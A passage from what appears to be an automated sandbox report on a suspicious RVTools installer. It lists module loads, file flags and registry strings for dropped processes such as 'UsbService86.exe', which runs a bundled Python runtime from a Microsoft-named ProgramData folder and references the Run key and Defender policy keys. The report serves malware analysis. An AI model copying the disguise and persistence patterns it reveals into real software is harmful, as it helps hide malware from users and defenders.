"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "UsbService86.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "UsbService86.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\urlmon.dll" - [base:0; Status:c0000135] "UsbService86.exe" failed to load missing module "%ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\pythonnet\runtime\Psapi.dll" - [base:0; Status:c0000135] "UsbService86.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "UsbService86.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "UsbService86.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "UsbService86.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "UsbService86.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "UsbService86.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "UsbService86.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "UsbService86.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "UsbService86.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "UsbService86.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "UsbService86.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "UsbService86.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "UsbService86.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "UsbService86.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "UsbService86.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "UsbService86.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "UsbService86.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\webengine4.dll" - [base:0; Status:c0000135] "UsbService86.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "UsbService86.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "UsbService86.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135]41:Tbba,"libcrypto-3.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "sqlite3.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "libssl-3.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "python.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "UsbService86.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "python3.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "vcruntime140_1.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "ClrLoader.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "nsExec.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "unicodedata.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "MSIC2B7.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_decimal.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "MSIB386.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "pyexpat.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_cffi_backend.cp312-win_amd64.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_ssl.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_lzma.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_elementtree.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_ctypes.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT42:T2019,"Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdatesC" in Source: 00000000-00001196.00000000.263272.005F0000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdatesT" in Source: 00000000-00001196.00000000.263272.005F0000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates" in Source: 00000000-00001196.00000000.263272.005F0000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdatese" in Source: 00000000-00001196.00000000.263272.005F0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001196.00000000.263272.005F0000.00000004.mdmp "system\CurrentControlSet\Services\TcpIp\Parameters" in Source: 00000000-00001196.00000000.263272.005F0000.00000004.mdmp "SOFTWARE\Microsoft\MSDTC\MTxOCI" in Source: 00000000-00001196.00000000.263272.005F0000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00001196.00000000.263272.005F0000.00000004.mdmp "USER\S-1-5-18\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001196.00000000.263272.005F0000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates\ManifestedMergeStubSdbs" in Source: 00000000-00001196.00000000.263272.005F0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion" in Source: 00000000-00001196.00000001.265194.00408000.00000002.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdatesT" in Source: 00000000-00001196.00000001.265194.005F0000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates" in Source: 00000000-00001196.00000001.265194.005F0000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdatesW" in Source: 00000000-00001196.00000001.265194.005F0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001196.00000001.265194.005F0000.00000004.mdmp "system\CurrentControlSet\Services\TcpIp\Parameters" in Source: 00000000-00001196.00000001.265194.005F0000.00000004.mdmp "SOFTWARE\Microsoft\MSDTC\MTxOCI" in Source: 00000000-00001196.00000001.265194.005F0000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00001196.00000001.265194.005F0000.00000004.mdmp "USER\S-1-5-18\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001196.00000001.265194.005F0000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates\ManifestedMergeStubSdbs" in Source: 00000000-00001196.00000001.265194.005F0000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdatesT" in Source: 00000000-00001196.00000002.267111.005F0000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates" in Source: 00000000-00001196.00000002.267111.005F0000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdatesW" in Source: 00000000-00001196.00000002.267111.005F0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001196.00000002.267111.005F0000.00000004.mdmp "system\CurrentControlSet\Services\TcpIp\Parameters" in Source: 00000000-00001196.00000002.267111.005F0000.00000004.mdmp "SOFTWARE\Microsoft\MSDTC\MTxOCI" in Source: 00000000-00001196.00000002.267111.005F0000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00001196.00000002.267111.005F0000.00000004.mdmp "USER\S-1-5-18\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001196.00000002.267111.005F0000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates\ManifestedMergeStubSdbs" in Source: 00000000-00001196.00000002.267111.005F0000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates\ManifestedMergeStubSdbs" in Source: 00000000-00004460.00000000.262966.01350000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00004460.00000000.262966.01350000.00000004.mdmp "MACHINE\SOFTWARE\Classes\CLSID" in Source: 00000000-00004460.00000000.262966.01350000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004460.00000000.262966.01350000.00000004.mdmp "Y\MACHINE\SOFTWARE\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004460.00000000.262966.01350000.00000004.mdmp "REGISTRY\USER\S-1-5-18\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004460.00000000.262966.01350000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0000032A-" in Source: 00000000-00004460.00000000.262966.01350000.00000004.mdmp "Y\MACHINE\SOFTWARE\Classes\CLSID\{00" in Source: 00000000-00004460.00000000.262966.01350000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007744.00000000.264689.62D70000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00007744.00000001.266610.62820000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007744.00000001.266610.62820000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007744.00000001.266610.62820000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00007744.00000001.266610.63180000.00000004.mdmp "\SOFTWARE\C" in Source: 00000000-00007744.00000001.266610.63180000.00000004.mdmp "Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock" in Source: 00000000-00007744.00000001.266610.63180000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00007744.00000001.266610.6718A000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007744.00000001.266610.6718A000.00000002.mdmp "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\POLICY MANAGER" in Source: 00000000-00007744.00000001.266610.6718A000.00000002.mdmp "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER" in Source: 00000000-00007744.00000001.266610.6718A000.00000002.mdmp "Software\Microsoft\Windows Defender\MpEngine" in Source: 00000000-00007744.00000001.266610.6718A000.00000002.mdmp "Software\Microsoft\Windows Defender\Features" in Source: 00000000-00007744.00000001.266610.6718A000.00000002.mdmp "Software\Microsoft\Microsoft Antimalware\MpEngine" in Source: 00000000-00007744.00000001.266610.6718A000.00000002.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00007744.00000001.266610.6718A000.00000002.mdmp "HKLM\" in Source: 00000000-00007744.00000001.266610.6718A000.00000002.mdmp "Software\Microsoft\RemovalTools\MRT" in Source: 00000000-00007744.00000001.266610.6718A000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00007744.00000002.268528.62820000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007744.00000002.268528.62820000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007744.00000002.268528.62820000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007744.00000002.268528.62D70000.00000004.mdmp "Software\Microsoft\Windows Defender\Features" in Source: 00000000-00007744.00000002.268528.87293000.00000002.mdmp "Software\Microsoft\Windows Defender\MpEngine" in Source: 00000000-00007744.00000002.268528.87293000.00000002.mdmp "Software\Microsoft\Microsoft Antimalware\MpEngine" in Source: 00000000-00007744.00000002.268528.87293000.00000002.mdmp43:T5227,"start.exe" loaded module "KERNEL32" at base 7ffc96050000 "start.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffc95310000 "start.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffc95310000 "start.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffc95310000 "start.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffc96630000 "start.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffc95310000 "start.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffc95310000 "start.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffc95310000 "start.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffc6db90000 "start.exe" loaded module "ADVAPI32.DLL" at base 7ffc97830000 "start.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffc6c990000 "start.exe" loaded module "SHLWAPI.DLL" at base 7ffc95f00000 "start.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffc94100000 "start.exe" loaded module "VERSION.DLL" at base 7ffc8b240000 "start.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffc56540000 "start.exe" loaded module "USER32.DLL" at base 7ffc978e0000 "start.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffc95310000 "start.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREE.DLL" at base 0 "start.exe" loaded module "MSCOREE.DLL" at base 7ffc6dc00000 "start.exe" loaded module "NTDLL" at base 7ffc97c90000 "start.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffc96180000 "start.exe" loaded module "RPCRT4.DLL" at base 7ffc95ce0000 "start.exe" loaded module "KERNEL32.DLL" at base 7ffc96050000 "start.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\3B9003E4F27D92E40668F0EFAD11E022\MSCORLIB.NI.DLL" at base 7ffc54f80000 "start.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLE32.DLL" at base 0 "start.exe" loaded module "OLE32.DLL" at base 7ffc96af0000 "start.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "start.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffc96180000 "start.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffc95310000 "start.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffc6c6c0000 "start.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\CE0FD4F5B50BAA17E7B80E4EE874AD11\SYSTEM.NI.DLL" at base 7ffc54360000 "start.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffc926e0000 "start.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "start.exe" loaded module "SHELL32.DLL" at base 7ffc96fa0000 "start.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7ffc930b0000 "start.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7ffc8eec0000 "start.exe" loaded module "%WINDIR%\SYSTEM32\\WINDOWS.STATEREPOSITORYPS.DLL" at base 7ffc80ac0000 "start.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 7ffc82a60000 "start.exe" loaded module "SSPICLI.DLL" at base 7ffc94350000 "start.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ffc95310000 "start.exe" loaded module "VIRTDISK.DLL" at base 7ffc783d0000 "start.exe" loaded module "%WINDIR%\SYSTEM32\WINTYPES.DLL" at base 7ffc92f70000 "start.exe" loaded module "%WINDIR%\SYSTEM32\APPRESOLVER.DLL" at base 7ffc7b990000 "start.exe" loaded module "%WINDIR%\SYSTEM32\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 7ffc8e310000 "start.exe" loaded module "NTDLL.DLL" at base 7ffc97c90000 "start.exe" loaded module "KERNELBASE" at base 7ffc95310000 "start.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 7ffc92540000 "RVtools-4.7.0.2.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75820000 "RVtools-4.7.0.2.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75820000 "RVtools-4.7.0.2.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75820000 "RVtools-4.7.0.2.exe" loaded module "KERNEL32" at base 754b0000 "RVtools-4.7.0.2.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 71b00000 "RVtools-4.7.0.2.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74430000 "RVtools-4.7.0.2.exe" loaded module "%WINDIR%\SYSTEM32\USERENV.DLL" at base 744b0000 "RVtools-4.7.0.2.exe" loaded module "%WINDIR%\SYSTEM32\SETUPAPI.DLL" at base 76190000 "RVtools-4.7.0.2.exe" loaded module "NTDLL.DLL" at base 76f30000 "RVtools-4.7.0.2.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74360000 "RVtools-4.7.0.2.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 739e0000 "RVtools-4.7.0.2.exe" loaded module "%WINDIR%\SYSTEM32\DWMAPI.DLL" at base 72780000 "RVtools-4.7.0.2.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTBASE.DLL" at base 72770000 "RVtools-4.7.0.2.exe" loaded module "%WINDIR%\SYSTEM32\OLEACC.DLL" at base 72710000 "RVtools-4.7.0.2.exe" loaded module "%WINDIR%\SYSTEM32\CLBCATQ.DLL" at base 76710000 "RVtools-4.7.0.2.exe" loaded module "%WINDIR%\SYSTEM32\NTMARTA.DLL" at base 74330000 "RVtools-4.7.0.2.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 74c20000 "RVtools-4.7.0.2.exe" loaded module "%WINDIR%\SYSTEM32\SHFOLDER.DLL" at base 72700000 "RVtools-4.7.0.2.exe" loaded module "KERNEL32.DLL" at base 754b0000 "RVtools-4.7.0.2.exe" loaded module "%WINDIR%\SYSTEM32\RICHED20.DLL" at base 72680000 "RVtools-4.7.0.2.exe" loaded module "COMCTL32.DLL" at base 71bb0000 "RVtools-4.7.0.2.exe" loaded module "RPCRT4.DLL" at base 75fe0000 "RVtools-4.7.0.2.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 765d0000 "RVtools-4.7.0.2.exe" loaded module "KERNELBASE" at base 75820000 "RVtools-4.7.0.2.exe" loaded module "%TEMP%\NSGDF58.TMP\NSEXEC.DLL" at base 72200000 "sc.exe" loaded module "KERNEL32" at base 754b0000 "sc.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 75820000 "sc.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 75820000 "sc.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 75820000 "sc.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 74e00000 "sc.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75820000 "sc.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75820000 "sc.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75820000 "sc.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 71b00000 "sc.exe" loaded module "RPCRT4.DLL" at base 75fe0000 "sc.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 74410000 "UsbService86.exe" loaded module "KERNEL32" at base 7ffc96050000 "UsbService86.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffc95310000 "UsbService86.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffc95310000 "UsbService86.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffc95310000 "UsbService86.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffc96630000 "UsbService86.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffc95310000 "UsbService86.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffc95310000 "UsbService86.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffc95310000 "UsbService86.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffc6db90000 "UsbService86.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffc95a10000 "UsbService86.exe" loaded module "API-MS-WIN-CORE-FILE-L2-1-4" at base 7ffc95310000 "UsbService86.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\SYSTEMWEB\SYSTEMINFO\PYTHON3" at base 23060a20000 "UsbService86.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\SYSTEMWEB\SYSTEMINFO\_BZ2.PYD" at base 7ffc72d20000 "UsbService86.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\SYSTEMWEB\SYSTEMINFO\_LZMA.PYD" at base 7ffc6fcd0000 "UsbService86.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\SYSTEMWEB\SYSTEMINFO\_WMI.PYD" at base 7ffc72ce0000 "UsbService86.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\SYSTEMWEB\SYSTEMINFO\_CFFI_BACKEND.CP312-WIN_AMD64.PYD" at base 7ffc6db50000 "UsbService86.exe" loaded module "ADVAPI32.DLL" at base 7ffc97830000 "UsbService86.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffc6c990000 "UsbService86.exe" loaded module "SHLWAPI.DLL" at base 7ffc95f00000 "UsbService86.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffc94100000 "UsbService86.exe" loaded module "VERSION.DLL" at base 7ffc8b240000 "UsbService86.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\SYSTEMWEB\SYSTEMINFO\CLR_LOADER\FFI\DLLS\AMD64\CLRLOADER.DLL" at base 7ffc70530000 "UsbService86.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffc56540000 "UsbService86.exe" loaded module "USER32.DLL" at base 7ffc978e0000 "UsbService86.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffc95310000 "UsbService86.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREE.DLL" at base 0 "UsbService86.exe" loaded module "MSCOREE.DLL" at base 7ffc6dae0000 "UsbService86.exe" loaded module "NTDLL" at base 7ffc97c90000 "UsbService86.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffc96180000 "UsbService86.exe" loaded module "RPCRT4.DLL" at base 7ffc95ce0000 "UsbService86.exe" loaded module "KERNEL32.DLL" at base 7ffc96050000 "UsbService86.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\3B9003E4F27D92E40668F0EFAD11E022\MSCORLIB.NI.DLL" at base 7ffc548d0000 "UsbService86.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffc95310000 "UsbService86.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffc6c6c0000 "UsbService86.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\CE0FD4F5B50BAA17E7B80E4EE874AD11\SYSTEM.NI.DLL" at base 7ffc53cb0000 "UsbService86.exe" loaded module 